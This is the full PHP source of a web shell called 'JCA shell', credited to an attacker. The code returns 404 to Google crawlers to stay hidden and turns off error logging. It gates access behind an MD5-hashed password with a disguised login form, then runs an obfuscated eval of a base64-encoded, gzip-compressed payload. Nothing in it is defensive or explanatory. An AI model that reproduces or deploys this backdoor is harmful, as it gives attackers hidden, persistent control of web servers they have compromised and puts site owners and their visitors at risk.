JCA shell

<?php
/* (Web Shell 1n73ction r3c0d3d by ismail attacker |default pass:" javacyber ") */
$auth_pass = "6138f95a7e66e7373c8d770ad348d13c";
$color = "#008B8B";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if (get_magic_quotes_gpc()) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<TITLE>[#] Nabilah Dot ID ( JCA shell )</TITLE>
<body BGCOLOR="black">
<p><center><img src="http://s12.postimg.org/8h0rau6d9/coollogo_com_161484773.png" width="405" height="120"></center>
<hr>
<address></address>
<style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <center>
    <form method=post >
    <input type=password name=pass >
    </form></center>
    <?php
    exit;
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
else printLogin();
eval(gzuncompress(base64_decode("eNpTKU4uyiwoUbBVSMvMSY1PTy2JT87PK0nNKynWUM8oKSmw0tcvSCwuSU3KzNNLzs/VL0os1yvIKLDPtC3LDnMPCCg3Ude05uVKLUvM0UivysxLy0ksSdVISixONTOJT0lNzk9J1VCBWKKpqWkNANFIJwc="))); ?>